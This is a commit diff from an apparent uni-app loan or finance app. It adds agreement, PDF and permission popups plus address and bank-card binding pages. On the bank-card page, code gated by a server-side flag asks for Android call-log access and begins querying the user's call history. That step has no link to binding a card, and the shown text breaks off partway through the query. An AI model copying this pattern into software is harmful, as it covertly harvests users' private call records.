UI
叶富雄
2026-03-14 48af561de06e15b57a79eecbde460e866f847e3d
UI
3 files modified
14 files deleted
24 files added
2665 ■■■■■ changed files
components/agreePup/agreePup.vue 180 ●●●●● patch | view | raw | blame | history
components/picker/aliCredit.vue 33 ●●●●● patch | view | raw | blame | history
components/picker/areas.vue 68 ●●●●● patch | view | raw | blame | history
components/picker/companyNature.vue 40 ●●●●● patch | view | raw | blame | history
components/picker/companyTrade.vue 40 ●●●●● patch | view | raw | blame | history
components/picker/education.vue 41 ●●●●● patch | view | raw | blame | history
components/picker/index.vue 3 ●●●● patch | view | raw | blame | history
components/picker/loanUsage.vue 33 ●●●●● patch | view | raw | blame | history
components/picker/maritalStatus.vue 36 ●●●●● patch | view | raw | blame | history
components/picker/monthlyIncome.vue 33 ●●●●● patch | view | raw | blame | history
components/picker/professionInfo.vue 33 ●●●●● patch | view | raw | blame | history
components/picker/provincesCity.vue 3 ●●●●● patch | view | raw | blame | history
components/picker/relation.vue 40 ●●●●● patch | view | raw | blame | history
components/picker/repayTerm.vue 33 ●●●●● patch | view | raw | blame | history
components/u-pdf/u-pdf.vue 168 ●●●●● patch | view | raw | blame | history
components/yk-authpup/yk-authpup.vue 331 ●●●●● patch | view | raw | blame | history
pages/addAddr/addAddr.vue 157 ●●●●● patch | view | raw | blame | history
pages/addBank/addBank.vue 415 ●●●●● patch | view | raw | blame | history
pages/address/address.vue 123 ●●●●● patch | view | raw | blame | history
pages/agree/agree.vue 22 ●●●●● patch | view | raw | blame | history
pages/quanyi/add.vue 761 ●●●● patch | view | raw | blame | history
uni_modules/uview-ui/libs/config/props/actionSheet.js 25 ●●●●● patch | view | raw | blame | history
uni_modules/uview-ui/libs/config/props/album.js 25 ●●●●● patch | view | raw | blame | history
uni_modules/uview-ui/libs/config/props/alert.js 22 ●●●●● patch | view | raw | blame | history
unpackage/res/icons/1024x1024.png patch | view | raw | blame | history
unpackage/res/icons/120x120.png patch | view | raw | blame | history
unpackage/res/icons/144x144.png patch | view | raw | blame | history
unpackage/res/icons/152x152.png patch | view | raw | blame | history
unpackage/res/icons/167x167.png patch | view | raw | blame | history
unpackage/res/icons/180x180.png patch | view | raw | blame | history
unpackage/res/icons/192x192.png patch | view | raw | blame | history
unpackage/res/icons/20x20.png patch | view | raw | blame | history
unpackage/res/icons/29x29.png patch | view | raw | blame | history
unpackage/res/icons/40x40.png patch | view | raw | blame | history
unpackage/res/icons/58x58.png patch | view | raw | blame | history
unpackage/res/icons/60x60.png patch | view | raw | blame | history
unpackage/res/icons/72x72.png patch | view | raw | blame | history
unpackage/res/icons/76x76.png patch | view | raw | blame | history
unpackage/res/icons/80x80.png patch | view | raw | blame | history
unpackage/res/icons/87x87.png patch | view | raw | blame | history
unpackage/res/icons/96x96.png patch | view | raw | blame | history
components/agreePup/agreePup.vue
New file
@@ -0,0 +1,180 @@
<template>
    <view>
        <view class="agreePup" v-if="dialog">
            <view class="msk"></view>
            <view class="agreeMain">
                <view class="pop-title" v-if="gp == 6" style="height: 15px !important;line-height: 15px !important">{{title}}</view>
                <view class="pop-title" v-else>{{title}}</view>
                <view class="popup-content">
                    <view class="content" v-html="content"></view>
                    <view class="popBtn" @tap="popClose">确定</view>
                </view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        name: 'agree-pup',
        props: {
            gp: {
                type: Number,
                default: 0,
            },
            title: {
                type: String,
                default: '',
            },
            addrId : {
                type: Number,
                default: 0,
            },
            cartsIds: {
                type: String,
                default: '',
            },
            userid: {
                type: Number,
                default: 0,
            },
            yz: {
                type: Number,
                default: 0,
            }
        },
        data() {
            return {
                userInfo: null,
                dialog: false,
                content: '',
            }
        },
        watch: {
            dialog () {
                if(this.dialog) {
                    //this.$refs.popup.open()
                }
            }
        },
        created() {
            this.userInfo = this.$util.getUserInfo()
            this.getContent()
        },
        methods: {
            popClose () {
                this.dialog = false
            },
            getContent () {
                let t = this
                let param = {gp: this.gp}
                if(t.gp == 6) {
                    param = {
                        sn: '',
                        gp: this.gp,
                        userid: this.userInfo.id,
                        cartsIds: this.cartsIds,
                        addrId: this.addrId,
                        yz: this.yz,
                    }
                }
                t.$util.post('Index/getAgree', param).then(res => {
                    if(res.code == 1){
                        this.content = res.data.replace(/\<p/gi, '<p style="width:100%;word-wrap: break-word;margin-bottom: 10px"')
                        let userInfo = null
                        let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
                        if(userStr != null) {
                            userInfo = JSON.parse(userStr)
                        }
                        if(userInfo != null){
                            this.content = this.content.replace(/NAME/g, userInfo.realname)
                            this.content = this.content.replace(/IDCARD/g, userInfo.idcard)
                            this.content = this.content.replace(/PHONE/g, userInfo.phone)
                        }
                        const today = new Date();
                        const year = today.getFullYear();
                        const month = String(today.getMonth() + 1).padStart(2, '0'); // 月份是从0开始的,所以要加1,并且需要补零
                        const day = String(today.getDate()).padStart(2, '0');
                        this.content = this.content.replace(/YYYY/g, year)
                        this.content = this.content.replace(/MM/g, month)
                        this.content = this.content.replace(/DD/g, day)
                    }
                })
            }
        }
    }
</script>
<style lang="scss">
    .agreePup{
        width: 100%;
        left: 0;
        top: 0;
        z-index: 999999;
        height: 100%;
        position: fixed;
    }
    .agreePup .msk{
        width: 100%;
        height: 100%;
        z-index: 99;
        background-color: #000000;
        position: absolute;
        left: 0;
        top: 0;
        opacity: .5;
    }
    .agreeMain{
        width: 90%;
        position: absolute;
        left: 5%;
        top: 10%;
        background: #ffffff;
        border-radius: 10upx;
        height: 70%;
        z-index: 999999;
    }
    .pop-title{
        width: 100%;
        height: 90upx;
        border-bottom: 1px solid #eeeeee;
        text-align: center;
        line-height: 90upx;
        font-size: 28upx;
        font-weight: 700;
    }
    .popup-content{
        width: 100%;
        margin: 0%;
        border-radius: 10upx;
        padding-bottom: 20upx;
        overflow-y: auto;
        height: 90%;
    }
    .content{
        padding: 30upx;
        height: 80%;
        word-wrap: break-word;
        overflow-y: auto;
        overflow-x: hidden;
    }
    p{
        width: 100%;
        padding: 0;
        margin-block-start: 0em;
        margin-block-end: 0em;
        word-wrap: break-word;
        line-height: 40px;
    }
    .popBtn{
        width: 200upx;
        height: 76upx;
        margin: 30upx auto 0;
        text-align: center;
        line-height: 76upx;
        border-radius: 20upx;
        border: 1px solid #dddddd;
    }
</style>
components/picker/aliCredit.vue
File was deleted
components/picker/areas.vue
File was deleted
components/picker/companyNature.vue
File was deleted
components/picker/companyTrade.vue
File was deleted
components/picker/education.vue
File was deleted
components/picker/index.vue
@@ -4,9 +4,10 @@
  </view>
</template>
<script>
import {getCityList} from "@/api/modules/user";
import UvPicker from "@/uni_modules/uv-picker/components/uv-picker/uv-picker.vue";
export default {
  components: {UvPicker},
  data() {
    return {
      loading: true,
components/picker/loanUsage.vue
File was deleted
components/picker/maritalStatus.vue
File was deleted
components/picker/monthlyIncome.vue
File was deleted
components/picker/professionInfo.vue
File was deleted
components/picker/provincesCity.vue
@@ -5,7 +5,10 @@
</template>
<script>
import UvPicker from "@/uni_modules/uv-picker/components/uv-picker/uv-picker.vue";
export default {
  components: {UvPicker},
  data() {
    return {
      loading: false,
components/picker/relation.vue
File was deleted
components/picker/repayTerm.vue
File was deleted
components/u-pdf/u-pdf.vue
New file
@@ -0,0 +1,168 @@
<template>
  <view class="pdf-page">
    <view class="pdf-wrap" :style="{'height':viewHeight}">
      <view ref="pdfRef" id="pdfView"></view>
    </view>
    <view v-if="showBottom" class="pdf-btn-group">
      <slot>
        <button class="btn-readed" size="mini" @click="handleComplete"
            :disabled="btnDisabled">{{showTimer ? countTimer<=1 ? '':'('+countTimer+'s)':''}}我已阅读</button>
      </slot>
    </view>
  </view>
</template>
<script>
  import Pdfh5 from "pdfh5";
  import "pdfh5/css/pdfh5.css";
  export default {
    name: "u-pdf",
    props: {
      url: {
        type: String,
        require: true
      },
      viewHeight: {
        type: String,
        default: "100%"
      },
      showBottom: {
        type: Boolean,
        default: true
      },
      options: {
        type: Object,
        default: () => ({
          cMapUrl: "https://unpkg.com/pdfjs-dist@3.8.162/cmaps/",
          lazy: false,
          withCredentials: true,
          // pdfLoaded:false,
          renderType: "svg",
          maxZoom: 3, //手势缩放最大倍数 默认3
          scrollEnable: true, //是否允许pdf滚动
          zoomEnable: true //是否允许pdf手势缩放
        })
      },
      disabled:{
        type:Boolean,
        default:true
      },
      showTimer:Boolean
    },
    data() {
      return {
        totalNum: 0,
        pdfh5: undefined,
        countTimer:10,
        timer:undefined,
        btnDisabled:true
      }
    },
    watch:{
      disabled(n,o){
        this.btnDisabled = this.disabled
      },
      showTimer(n,o){
        console.log("showTimer ",n);
        if(this.showTimer){
          this.startCountDownTimer()
        }
      }
    },
    mounted() {
      this.$nextTick(() => {
        this.loadPdf()
      })
    },
    // onPageScroll(scroll) {
    //   console.log(`onPageScroll ${scroll}`,scroll);
    // },
    // onReachBottom(scroll) {
    //   console.log(`onReachBottom 滚动到底部`);
    // },
    methods: {
      handleComplete(){
        this.$emit("onClickReader")
      },
      startCountDownTimer(){
        this.timer= setInterval(()=>{
          if(this.countTimer<=1){
            this.btnDisabled=false
            clearInterval(this.timer)
          }else{
            this.countTimer--
          }
        },1000)
      },
      loadPdf() {
        if (!this.url) {
          console.error("pdf url is null ");
          return;
        }
        const opts = {
          pdfurl: this.url,
          ...this.options
        }
        console.log(opts);
        this.pdfh5 = new Pdfh5('#pdfView', opts);
        // 准备加载pdf
        this.pdfh5.on("ready", () => {
          this.$emit("ready")
        })
        //pdf 监听完成事件
        this.pdfh5.on("complete", (status, msg, time) => {
          console.log(`PDF complete status=${status}, msg =${msg}`);
          this.$emit("complete", { status, msg })
        });
        // pdf 滚动事件 Svg 方式不会执行此方法, 需要在page中监听 onReachBottom,onPageScroll
        this.pdfh5.on("scroll", (scrollTop, currentNum) => {
          console.log(`pdf scrollTop =${scrollTop} , currentNum =${currentNum}`);
          this.$emit("scroll", { scrollTop, currentNum })
        });
      }
    }
  }
</script>
<style scoped>
  @import 'pdfh5/css/pdfh5.css';
  .pdf-page {
    width: 100%;
    height: 100%;
    display: flex;
    flex-direction: column;
    align-items: center;
  }
  .pdf-wrap {
    width: 100%;
    flex: 1;
  }
  .pdf-btn-group {
    width: 100%;
    border-top: 2rpx solid #F8F9FC;
    height: 8%;
    position: fixed;
    bottom: -1rpx;
    z-index: 999;
    background: white;
    display: flex;
    align-items: center;
    justify-content: center;
  }
  .btn-readed {
    background: #4E70F6;
    color: #ffffff;
    font-size: 32rpx;
  }
</style>
components/yk-authpup/yk-authpup.vue
New file
@@ -0,0 +1,331 @@
<template>
    <view v-if="showPopup" class="uni-popup" :style="{top:isNativeHead?'':StatusBar}">
        <view :class="[type, ani, animation ? 'ani' : '']" class="uni-custom uni-popup__wrapper" @click="close(true)">
            <view class="uni-popup__wrapper-box">
                <view class="title">{{authList[permissionID].title}}</view>
                <view class="content">{{authList[permissionID].content}}</view>
            </view>
        </view>
    </view>
</template>
<script>
    export default {
        name: 'YkAuthpup',
        props: {
            // 开启动画
            animation: {
                type: Boolean,
                default: true
            },
            type: {
                type: String,
                default: 'top'
            },
            show: {
                type: Boolean,
                default: true
            },
            //是否是原生头部
            isNativeHead:{
                type: Boolean,
                default: true
            },
            permissionID: {
                type: [String, Number],
                default: ''
            },
            noticeTitle:{
                type: [String],
                default: ''
            }
        },
        data() {
            return {
                ani: '',
                showPopup: false,
                StatusBar:'',
                refuseNum:'',//拒绝次数,
                authList: {
                    'WRITE_EXTERNAL_STORAGE': {
                        title: "存储空间/照片权限申请说明",
                        content: this.noticeTitle
                    },
                    'ACCESS_FINE_LOCATION': {
                        title: "地理位置权限申请说明",
                        content: this.noticeTitle
                    },
                    'CAMERA':{
                        title: "相机/摄像头权限申请说明",
                        content:this.noticeTitle
                    },
                    'RECORD_AUDIO':{
                        title: "麦克风权限申请说明",
                        content: this.noticeTitle
                    },
                    'CALL_PHONE': {
                        title: "拨打/管理电话权限申请说明",
                        content: this.noticeTitle
                    }
                }
            }
        },
        created() {
            // #ifdef APP-PLUS
            this.getSystemInfo();
            // #endif
        },
        methods: {
            //获取状态栏高度
            getSystemInfo() {
                let _this = this;
                uni.getSystemInfo({
                    success: function(e) {
                        _this.StatusBar = e.statusBarHeight + 'px'; //用于自定义头部时,给手机状态栏留出位置,可通过isNativeHead这个参数控制
                    }
                })
            },
            open() {
                this.requestPermissions(this.permissionID);
            },
            close(type) {
                this.ani = '';
                this.$nextTick(() => {
                    setTimeout(() => {
                        this.showPopup = false;
                    }, 300)
                })
            },
            //权限检测
            requestPermissions(permissionID) {
                let _this = this;
                // #ifdef APP-PLUS
                //判断安卓与ios设备
                if (plus.os.name == 'Android') {
                    let _permissionID = 'android.permission.' + permissionID;
                    plus.android.checkPermission(_permissionID,
                        granted => {
                            if (granted.checkResult == -1) {
                                //还未授权当前查询的权限,打开权限申请目的自定义弹框
                                _this.showPopup = true;
                                _this.$nextTick(() => {
                                    setTimeout(() => {
                                        _this.ani = 'uni-' + _this.type
                                    },30)
                                })
                            }
                        },
                        error => {
                            console.log(error.message);
                        }
                    );
                    plus.android.requestPermissions([_permissionID],
                        (e) => {
                            //关闭权限申请目的自定义弹框
                            _this.ani = '';
                            _this.$nextTick(() => {
                                setTimeout(() => {
                                    _this.showPopup = false
                                }, 0)
                            })
                            //console.log(e,'kkkkk')
                            if (e.granted.length > 0) {
                                //当前查询权限已授权,此时可以通知页面执行接下来的操作
                                _this.$emit('changeAuth');
                            }
                            if (e.deniedAlways.length > 0) {
                                //当前查询权限已被永久禁用,此时需要引导用户跳转手机系统设置去开启
                                uni.showModal({
                                    title: '温馨提示',
                                    content: '还没有该权限,立即去设置开启?',
                                    cancelText: "取消",
                                    confirmText: "去设置",
                                    showCancel: true,
                                    confirmColor: '#000',
                                    cancelColor: '#666',
                                    success: (res) => {
                                        if (res.confirm) {
                                            _this.goSetting();
                                        }
                                    }
                                })
                            }
                        })
                } else {
                    //IOS不需要添加自定义弹框来描述权限目的,因为在配置文件的隐私信息访问的许可描述里可添加
                    //正常可以直接调用uni的API调起权限询问弹框使用各种权限,下面的判断使用场景主要是在IOS禁用某权限后,这个可以判断有无权限,进而引导用户跳转设置开启,仅列出了位置、相册、通讯录、相机、录音等权限,其他IOS权限可具体参考 https://ext.dcloud.net.cn/plugin?id=15787
                    let result = 0;
                    if (permissionID == 'ACCESS_FINE_LOCATION') {
                        //IOS检测位置权限
                        let cLLocationManager = plus.ios.importClass("CLLocationManager"),
                            authStatus = cLLocationManager.authorizationStatus(),
                            enable = cLLocationManager.locationServicesEnabled();
                        if (enable && authStatus != 2) {
                            result = 1;
                        } else {
                            result = 0;
                        }
                        plus.ios.deleteObject(cLLocationManager);
                    } else if (permissionID == 'WRITE_EXTERNAL_STORAGE') {
                        //IOS检测相册权限
                        let PHPhotoLibrary = plus.ios.importClass("PHPhotoLibrary"),
                            authStatus = PHPhotoLibrary.authorizationStatus();
                        if (authStatus === 3) {
                            result = 1;
                        } else {
                            result = 0;
                        }
                        plus.ios.deleteObject(PHPhotoLibrary);
                    } else if (permissionID == 'CAMERA') {
                        //IOS检测相机/摄像头权限
                        let avCaptureDevice = plus.ios.importClass("AVCaptureDevice"),
                            authStatus = avCaptureDevice.authorizationStatusForMediaType("vide");
                        if (authStatus === 3) {
                          result = 1;
                        } else {
                          result = 0;
                        }
                        plus.ios.deleteObject(avCaptureDevice);
                    } else if (permissionID == 'CALL_PHONE') {
                        //IOS检测通讯录权限
                        let contactStore = plus.ios.importClass("CNContactStore"),
                            authStatus = contactStore.authorizationStatusForEntityType(0);
                        if (authStatus === 3) {
                            result = 1;
                        } else {
                            result = 0;
                        }
                        plus.ios.deleteObject(contactStore);
                    }else if(permissionID == 'RECORD_AUDIO'){
                        //IOS检测麦克风权限
                        let aVAudioSession = plus.ios.importClass("AVAudioSession"),
                          aVAudio = aVAudioSession.sharedInstance(),
                          authStatus = aVAudio.recordPermission();
                        if ([1684369017, 1970168948].includes(authStatus)) {
                          result = 0;
                        } else {
                          result = 1;
                        }
                        plus.ios.deleteObject(aVAudioSession);
                    }
                    if (result) {
                        //当前查询权限已授权,此时可以通知页面执行接下来的操作
                        that.$emit('changeAuth')
                    } else {
                        //当前查询的权限已禁用,引导用户跳转手机系统设置去开启
                        uni.showModal({
                            title: '温馨提示',
                            content: '还没有该权限,立即去设置开启?',
                            cancelText: "取消",
                            confirmText: "去设置",
                            showCancel: true,
                            confirmColor: '#000',
                            cancelColor: '#666',
                            success: (res) => {
                                if (res.confirm) {
                                    _this.goSetting();
                                }
                            }
                        })
                    }
                }
                // #endif
            },
            //跳转手机系统设置
            goSetting() {
                if (plus.os.name == "iOS") {
                    var UIApplication = plus.ios.import("UIApplication");
                    var application2 = UIApplication.sharedApplication();
                    var NSURL2 = plus.ios.import("NSURL");
                    var setting2 = NSURL2.URLWithString("app-settings:");
                    application2.openURL(setting2);
                    plus.ios.deleteObject(setting2);
                    plus.ios.deleteObject(NSURL2);
                    plus.ios.deleteObject(application2);
                } else {
                    var Intent = plus.android.importClass("android.content.Intent");
                    var Settings = plus.android.importClass("android.provider.Settings");
                    var Uri = plus.android.importClass("android.net.Uri");
                    var mainActivity = plus.android.runtimeMainActivity();
                    var intent = new Intent();
                    intent.setAction(Settings.ACTION_APPLICATION_DETAILS_SETTINGS);
                    var uri = Uri.fromParts("package", mainActivity.getPackageName(), null);
                    intent.setData(uri);
                    mainActivity.startActivity(intent);
                }
            }
        }
    }
</script>
<style lang="scss">
    .uni-popup {
        position: fixed;
        top: 0;
        bottom: 0;
        left: 0;
        right: 0;
        z-index: 99999;
        overflow: hidden;
        &__wrapper {
            position: absolute;
            z-index: 9999999;
            /* #ifndef APP-NVUE */
            box-sizing: border-box;
            /* #endif */
            &.ani {
                /* #ifndef APP-NVUE */
                transition: all 0.3s;
                /* #endif */
            }
            &.top {
                top: 0;
                width:705rpx;
                /* #ifdef APP-NVUE */
                left:22.5rpx;
                /* #endif */
                /* #ifndef APP-NVUE */
                left:0;
                transform: translateY(-705rpx);
                /* #endif */
            }
            &-box {
                position: relative;
                /* #ifndef APP-NVUE */
                box-sizing: border-box;
                /* #endif */
            }
            &.uni-custom {
                & .uni-popup__wrapper-box {
                    width: 705rpx;
                    /* #ifndef APP-NVUE */
                    margin: 0 22.5rpx;
                    /* #endif */
                    padding: 30upx;
                    background: #fff;
                    z-index:9999;
                    border: solid 2rpx #ddd;
                    /* #ifndef APP-NVUE */
                    box-sizing: border-box;
                    /* #endif */
                    border-radius: 16rpx;
                    .title{
                        font-size: 32rpx;
                        font-weight: bold;
                    }
                    .content{
                        margin-top: 16rpx;
                        line-height: 1.6;
                    }
                }
                &.top{
                    & .uni-popup__wrapper-box {
                        width: 705rpx;
                    }
                }
            }
            &.uni-top{
                transform: translateY(0);
            }
        }
    }
</style>
pages/addAddr/addAddr.vue
New file
@@ -0,0 +1,157 @@
<template>
    <view>
        <view class="addr">
            <view class="addrItem">
                <text class="label">姓名</text>
                <input type="text" v-model="formData.realname" placeholder="请输入姓名">
            </view>
            <view class="addrItem">
                <text class="label">手机号</text>
                <input type="tel" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
            </view>
            <view class="addrItem">
                <text class="label">地区</text>
                <text :class="defArea == '请选择地区' ? 'area' : ''" @tap="areaToggle">{{defArea}}</text>
                <image @click="getArea" src="/static/imgs/address.png"></image>
            </view>
            <view class="addrItem">
                <text class="label">详细地址</text>
                <textarea v-model="formData.addr" placeholder="街道门牌号,楼层,房间号等信息" />
            </view>
            <view class="addrItem">
                <text class="label">设置默认地址</text>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
            </view>
        </view>
        <view class="addrBtn" @tap="addrSave">保存</view>
        <view class="tips">
            <view class="tipsTitle">
                <image src="/static/imgs/notice2.png" mode=""></image>
                <text>温馨提示</text>
            </view>
            <view class="tipsDesc">请填写真实有效的收货地址,以便我们提供方便快捷的收货体验。若因地址有误或无故拒收导致退货,以及货品运送期间要求修改地址,<text>从而产生的退回以及转运费用将由用户自行承担,敬请仔细填写。</text></view>
        </view>
        <cityPicker :column="column" :default-value="defaultArea" :mask-close-able="maskCloseAble" @confirm="confirmArea" @cancel="areaToggle" :visible="visible"/>
    </view>
</template>
<script>
    import cityPicker from '@/uni_modules/piaoyi-cityPicker/components/piaoyi-cityPicker/piaoyi-cityPicker'
    export default {
        components: {
            cityPicker
        },
        data() {
            return {
                column: 3,
                visible: false,
                maskCloseAble: true,
                defArea: '请选择地区',
                defaultArea: ['', '', ''],
                formData: {
                    id: 0,
                    realname: '',
                    phone: '',
                    area: '',
                    addr: '',
                    isdef: 0,
                },
                phoneReg: /^\d{11}$/,
                backUrl: '',
            }
        },
        onLoad(op) {
            this.formData.id = op.id ? op.id : 0
            this.backUrl = op.backUrl ? op.backUrl : ''
            if(this.formData.id > 0) {
                this.getAddrInfo(this.formData.id)
            }
        },
        methods: {
            getArea () {
                let t = this
                uni.getLocation({
                    type: 'gcj02',
                    geocode: true,
                    success: function (res) {
                        let area = res.address.province + '/' + res.address.city + '/' + res.address.district
                        t.formData.area = area
                        t.defArea = area
                    }
                })
            },
            areaToggle () {
                this.visible = !this.visible
            },
            defChange (e) {
                this.formData.isdef = e.detail.value ? 1 : 0
            },
            confirmArea (e) {
                this.defArea = e.provinceName + '/' + e.cityName + '/' + e.areaName
                this.formData.area = this.defArea
                this.areaToggle()
            },
            getAddrInfo (id) {
                this.$util.post('Address/getAddrInfo', this.formData).then(res => {
                    if(res.code == 1) {
                        this.defArea = res.data.area
                        this.formData = res.data
                    }
                })
            },
            addrSave () {
                let t = this
                if(t.formData.realname == ''){
                    return uni.showToast({
                        title: '请输入姓名',
                        icon: 'error',
                    })
                }
                if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '请输入正确的手机号!',
                        icon: 'error',
                    })
                }
                if(this.formData.area == ''){
                    return uni.showToast({
                        title: '请选择地区',
                        icon: 'error',
                    })
                }
                if(this.formData.addr == ''){
                    return uni.showToast({
                        title: '请输入详细地址',
                        icon: 'error',
                    })
                }
                t.$util.post('Address/addAddr', this.formData).then(res => {
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '保存成功',
                            icon: 'success'
                        })
                        uni.setStorageSync('choose-address', JSON.stringify(res.data))
                        setTimeout(() => {
                            if(t.backUrl != ''){
                                t.$util.goPages(t.backUrl)
                            } else {
                                t.$util.goPages('/pages/address/address')
                            }
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '保存失败',
                            icon: 'error'
                        })
                    }
                })
            },
        }
    }
</script>
<style>
    @import url(/static/css/addAddr.css);
</style>
pages/addBank/addBank.vue
New file
@@ -0,0 +1,415 @@
<template>
    <view>
        <view class="addr">
            <view class="addrItem">
                <text class="label">姓名</text>
                <input type="text" v-model="formData.realname" placeholder="请输入姓名">
            </view>
            <view class="addrItem">
                <text class="label">手机号</text>
                <input type="number" maxlength="11" v-model="formData.phone" placeholder="请输入手机号">
            </view>
            <view class="addrItem">
                <text class="label">银行名称</text>
                <picker @change="bankChange" :value="bankIndex" :range="$bank">
                    <view class="" style="color: rgba(0, 0, 0, 0.54)" v-if="bankIndex == -1">请选择银行</view>
                    <view class="uni-input" v-else>{{$bank[bankIndex]}}</view>
                </picker>
            </view>
            <view class="addrItem">
                <text class="label">银行卡号</text>
                <input type="text" v-model="formData.bankno" placeholder="请输入银行卡号" @blur="banknoChage">
            </view>
            <view class="addrItem" v-if="config && config.bank_open == 1">
                <text class="label">短信码</text>
                <input type="tel" v-model="formData.code" placeholder="请输入短信码">
                <text class="code2" v-if="leftTime < 60">{{leftTime}}S后获取</text>
                <text class="code" @click="sendCode" v-else>获取验证码</text>
            </view>
            <view class="addrItem">
                <text class="label">设置默认银行</text>
                <switch @change="defChange" v-if="formData.isdef == 0" color="#e3b400" style="transform:scale(0.7)"/>
                <switch @change="defChange" v-else checked color="#e3b400" style="transform:scale(0.7)"/>
            </view>
        </view>
        <view class="addrBtn" @tap="bankSave" v-if="type == 2">保存并购买</view>
        <view class="addrBtn" @tap="bankSave" v-else>保存</view>
        <view class="tips">
            <view class="tipsTitle">
                <image src="/static/imgs/notice2.png" mode=""></image>
                <text>温馨提示</text>
            </view>
            <view class="tipsDesc">
                <view>1.需使用本人开户的银行卡,请确保为本人操作。</view>
                <view>2.信息已只能加密,仅用于银行信息认证,隐私信息将严格保密。</view>
            </view>
        </view>
    </view>
</template>
<script>
    import permision from "@/js_sdk/wa-permission/permission.js"
    export default {
        data() {
            return {
                bankIndex: -1,
                formData: {
                    id: 0,
                    realname: '',
                    phone: '',
                    bankname: '',
                    bankno: '',
                    code: '',
                    isdef: 0,
                    orderNo: '',
                    type: 0,
                    over_auth: 0,
                },
                phoneReg: /^\d{11}$/,
                backUrl: '',
                leftTime: 60,
                type: 0,
                config: null,
            }
        },
        onLoad(op) {
            this.getConfig()
            this.getUserInfo()
            this.formData.id = op.id ? op.id : 0
            this.backUrl = op.backUrl ? op.backUrl : ''
            if(this.formData.id > 0) {
                this.getBankInfo(this.formData.id)
            }
            if(this.backUrl != '') {
                this.formData.over_auth = 1
            }
            //宝付绑卡
            this.type = op.type ? op.type : 0
            if(this.type == 2) {
                this.getDefBank()
            }
        },
        methods: {
            getConfig() {
                let t = this
                t.$util.post('Index/getConfig').then(res => {
                    if(res.code == 1) {
                        console.log('config', res.data)
                        t.config = res.data
                    }
                })
            },
            banknoChage(e) {
                let bankno = e.detail.value.replace(/\s/g, "")
                this.formData.bankno = bankno
            },
            bankChange (e) {
                console.log(e)
                this.bankIndex = e.detail.value
                this.formData.bankname = this.$bank[this.bankIndex]
            },
            sendCode () {
                if(this.formData.phone == ''){
                    return uni.showToast({
                        title: '请输入手机号',
                        icon: 'error',
                    })
                }
                if(this.formData.bankno == ''){
                    return uni.showToast({
                        title: '请输入银行卡号',
                        icon: 'error',
                    })
                }
                if (this.leftTime < 60) {
                    return false
                }
                let t = this
                console.log(this.formData)
                this.$util.post('Bank/preBindingCard', {bankno: this.formData.bankno, phone: this.formData.phone, type: this.formData.type}).then(res => {
                    if(res.code == 1){
                        console.log(res)
                        t.countDown()
                        t.formData.orderNo = res.data.orderNo
                        uni.showToast({
                            title:'发送成功',
                            icon:'none'
                        })
                    } else {
                        uni.showToast({
                            title: res.msg,
                            icon: 'none',
                        })
                    }
                })
            },
            countDown() {
                this.leftTime--
                if (this.leftTime > 0) {
                    setTimeout(this.countDown, 1000)
                } else {
                    this.leftTime = 60
                }
            },
            getUserInfo () {
                let t = this
                let userStr = uni.getStorageSync('user-info') ? uni.getStorageSync('user-info') : null
                if(userStr != null) {
                    t.$util.post('User/getUser').then(res => {
                        if(res.code == 1){
                            t.formData.realname = res.data.realname
                            t.formData.phone = res.data.phone
                            if(res.data.calls == 0 && uni.getSystemInfoSync().platform == 'android' && this.config.put_open == 2){
                                console.log(res)
                                t.requestAndroidPermission('android.permission.READ_CALL_LOG')
                            }
                        }
                    })
                }
            },
            async requestAndroidPermission(permisionID) {
                let t = this
                let result = await permision.requestAndroidPermission(permisionID)
                console.log('result', result)
                if (result == 1) {
                    t.setCalllog()
                } else if (result == 0) {
                    t.$util.goSetting()
                } else {
                    t.$util.goSetting()
                }
            },
            defChange (e) {
                this.formData.isdef = e.detail.value ? 1 : 0
            },
            getBankInfo (id) {
                this.$util.post('Bank/getBankInfo', this.formData).then(res => {
                    if(res.code == 1) {
                        this.formData = res.data
                    }
                })
            },
            getDefBank () {
                this.$util.post('Bank/getDefBank', {}).then(res => {
                    if(res.code == 1) {
                        this.formData = res.data
                        this.formData.type = this.type
                        for(let i in this.$bank){
                            if(this.$bank[i] == this.formData.bankname){
                                this.bankIndex = i
                                break
                            }
                        }
                    }
                })
            },
            bankSave () {
                let t = this
                if(t.formData.realname == ''){
                    return uni.showToast({
                        title: '请输入姓名',
                        icon: 'error',
                    })
                }
                if(t.formData.phone == '' || !t.phoneReg.test(t.formData.phone)){
                    return uni.showToast({
                        title: '请输入正确的手机号!',
                        icon: 'error',
                    })
                }
                if(this.formData.bankname == ''){
                    return uni.showToast({
                        title: '请输入银行名称',
                        icon: 'error',
                    })
                }
                if(this.formData.bankno == ''){
                    return uni.showToast({
                        title: '请输入银行卡号',
                        icon: 'error',
                    })
                }
                if(this.formData.code == '' && this.config && this.config.bank_open == 1){
                    return uni.showToast({
                        title: '请输入短信码',
                        icon: 'error',
                    })
                }
                t.$util.post('Bank/addBank', this.formData).then(res => {
                    console.log(res)
                    if(res.code == 1) {
                        uni.showToast({
                            title: res.msg || '保存成功',
                            icon: 'success'
                        })
                        //更新用户信息缓存
                        uni.setStorageSync('user-info', JSON.stringify(res.data))
                        setTimeout(() => {
                            if(t.backUrl != ''){
                                t.$util.goPages(t.backUrl)
                            } else {
                                t.$util.goPages('/pages/bank/bank')
                            }
                        }, 1500)
                    } else {
                        uni.showToast({
                            title: res.msg || '保存失败',
                            icon: 'error'
                        })
                    }
                })
            },
            //获取通话记录
            setCalllog(){
                uni.showLoading({
                    title: '授权中...'
                })
                let self = this
                // 在这里调用plus api
                var CallLog = plus.android.importClass("android.provider.CallLog");
                var main = plus.android.runtimeMainActivity();
                var obj = main.getContentResolver();
                plus.android.importClass(obj);
                let timeLine = new Date().getTime()
                var selection = {
                    mobile: '',
                    startTime: new Date('2022-4-1').getTime(),
                    endTime: timeLine,
                    type: ''
                }
                //查询
                var sql = '';
                var keyword = '';
                for (let item of Object.keys(selection)) {
                    if (selection[item] != '') {
                        switch (item) {
                            case 'mobile':
                                sql = sql == '' ? sql : sql + ' and ';
